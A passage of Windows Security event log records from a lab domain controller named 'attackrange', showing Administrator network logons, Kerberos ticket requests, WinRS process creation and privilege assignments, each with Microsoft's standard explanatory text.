	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC66D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249771
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249770
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249769
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249768
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa58
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa38
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249767
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Process Information:
	New Process ID:		0xa38
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249766
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249765
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249764
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249763
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249762
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249761
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC3E4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249760
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE814E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249759
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE839F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249758
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC3E4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249757
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC3E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249756
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249755
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249754
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249753
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC3C8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249752
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC3C8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249751
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC3C8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249750
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249749
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249748
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249747
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9E60

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249746
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9848

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249745
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE85B4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249819
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEECA7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249818
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEECA7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64327

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

